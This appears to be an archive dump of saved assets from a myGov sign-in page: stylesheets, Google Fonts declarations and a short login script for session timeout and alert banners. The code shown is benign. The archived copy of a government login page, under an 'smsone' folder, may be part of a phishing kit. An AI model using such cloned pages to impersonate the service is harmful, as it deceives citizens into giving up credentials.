input[type="radio"]+label:after{width:10px;width:.625rem;height:10px;height:.625rem;left:19px;left:1.1875rem;box-shadow:0 0 0 2px #000;box-shadow:0 0 0 .125rem #000;border:3px solid #fff;border:.1875rem solid #fff;background-color:transparent;top:0;bottom:0;margin:auto;position:absolute;display:block;border-radius:50%;box-sizing:content-box;content:""}.wrapper-mapwap form input[type="radio"]:focus+label{outline:2px solid #254a7e;outline:.125rem solid #254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/smsone_files/css000064400000037222151676702570011714 0ustar00/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 500;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 900;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
mygov/app/smsone_files/login.js.download000064400000003030151676702570014443 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDate<secondDate?1:-1;}function getTopAlert(entries){var sortedAlerts=entries.sort(function(firstEntry,secondEntry){if(priorityLookup(firstEntry.priority)===priorityLookup(secondEntry.priority)){return compareDates(firstEntry.modified,secondEntry.modified);}return priorityLookup(firstEntry.priority)>priorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/smsone_files/mgv2-application.css000064400000364774151676702570015106 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear 